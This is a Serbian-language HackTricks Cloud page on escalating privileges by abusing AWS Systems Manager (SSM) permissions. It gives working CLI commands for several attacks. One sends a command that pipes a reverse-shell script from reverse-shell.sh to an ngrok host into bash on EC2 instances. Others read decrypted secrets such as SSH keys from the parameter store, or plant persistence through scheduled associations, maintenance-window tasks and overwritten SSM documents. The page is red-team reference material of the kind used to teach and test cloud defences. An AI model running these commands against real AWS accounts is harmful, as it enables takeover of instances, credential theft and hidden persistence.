AWS - SSM Privesc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
SSM
Za više informacija o SSM proveri:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Napadač sa dozvolom ssm:SendCommand može izvršavati komande na instanceima na kojima radi Amazon SSM Agent i compromise-ovati IAM Role koja radi unutar njih.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potencijalni uticaj: Direktan privesc do EC2 IAM rola prikačenih na pokrenute instance sa pokrenutim SSM Agentima.
ssm:StartSession
Napadač sa dozvolom ssm:StartSession može pokrenuti SSH-like sesiju na instance koje pokreću Amazon SSM Agent i kompromitovati IAM Role koja se izvršava unutar nje.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Da biste pokrenuli session, potrebno je da je instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Direktan privesc do EC2 IAM roles prikačenih za pokrenute instances sa SSM Agents koji rade.
Privesc to ECS
Kada ECS tasks rade sa uključenim ExecuteCommand, users sa dovoljnim permissions mogu da koriste ecs execute-command da bi izvršili command unutar container-a.
Prema documentation ovo se radi kreiranjem sigurnog channel-a između uređaja koji koristite da inicirate “exec“ command i target container-a uz SSM Session Manager. (SSM Session Manager Plugin neophodan da bi ovo radilo)
Zbog toga, users sa ssm:StartSession će moći da dobiju shell unutar ECS tasks sa uključenom tom opcijom samo pokretanjem:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potential Impact: Direktan privesc do ECS IAM role-ova prikačenih na running tasks sa omogućenim ExecuteCommand.
ssm:ResumeSession
Napadač sa permission ssm:ResumeSession može ponovo da pokrene SSH-like session na instances koje pokreću Amazon SSM Agent sa disconnected SSM session state i da compromise-uje IAM Role koja se u njima izvršava.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potencijalni uticaj: Direktan privesc do EC2 IAM role-ova prikačenih na pokrenute instance sa SSM Agentima koji rade i diskonektovanim sesijama.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Napadač sa pomenutim permissions moći će da lista SSM parameters i da ih čita u clear-text. U ovim parameterima često možeš naći sensitive information kao što su SSH keys ili API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potencijalni uticaj: Pronađi osetljive informacije unutar parametara.
ssm:ListCommands
Napadač sa ovom dozvolom može da prikaže sve poslate commands i, nadamo se, pronađe sensitive information u njima.
aws ssm list-commands
Potencijalni uticaj: Pronađi osetljive informacije unutar komandnih linija.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Napadač sa ovim dozvolama može da izlista sve poslate komande i da pročita izlaz koji je generisan, nadajući se da će u njemu pronaći osetljive informacije.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Moguć uticaj: Pronađite osetljive informacije unutar izlaza komandnih linija.
Using ssm:CreateAssociation
Napadač sa dozvolom ssm:CreateAssociation može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove associations mogu biti podešene da se izvršavaju u fiksnom intervalu, što ih čini pogodnim za persistence nalik backdoor-u bez interaktivnih sesija.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Ovaj persistence metod radi sve dok EC2 instance upravlja Systems Manager, SSM agent je pokrenut, i napadač ima permission da kreira associations. Ne zahteva interaktivne sessions niti eksplicitne ssm:SendCommand permissions. Važno: parameter
--schedule-expression(npr.rate(30 minutes)) mora da poštuje AWS minimum interval od 30 minuta. Za odmah ili jednokratno izvršavanje, potpuno izostavite--schedule-expression— association će se izvršiti jednom nakon kreiranja.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Napadač sa permissions ssm:UpdateDocument i ssm:UpdateDocumentDefaultVersion može da eskalira privileges modifikovanjem postojećih documents. Ovo takođe omogućava persistence unutar tog documenta. U praksi bi napadaču takođe bio potreban ssm:ListDocuments da bi dobio nazive za custom documents, a ako napadač želi da zamaskira svoj payload unutar postojećeg documenta, ssm:GetDocument bi takođe bio neophodan.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Ispod je primer dokumenta koji može da se koristi za prepisivanje postojećeg dokumenta. Trebalo bi da osiguraš da tip tvog dokumenta odgovara tipu ciljnog dokumenta kako bi izbegao probleme sa invokacijom. Dokument ispod će, na primer, koristiti ssm:SendCommand i ssm:CreateAssociation primere.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Napadač sa permisijama ssm:RegisterTaskWithMaintenanceWindow i ssm:RegisterTargetWithMaintenanceWindow može da eskalira privilegije tako što prvo registruje novi target sa postojećim maintenance window, a zatim ažurira registrujući novi task. Ovo omogućava execution na postojećim targetima, ali može dozvoliti napadaču da kompromituje compute sa različitim roles tako što registruje nove targets. Ovo takođe omogućava persistence jer se maintenance windows tasks izvršavaju na unapred definisanom interval-u tokom kreiranja window-a. Praktično, napadaču bi takođe bio potreban ssm:DescribeMaintenanceWindows da bi došao do maintenance window ID-jeva.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
Takođe možete koristiti SSM da uđete u codebuild projekat koji se gradi:
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

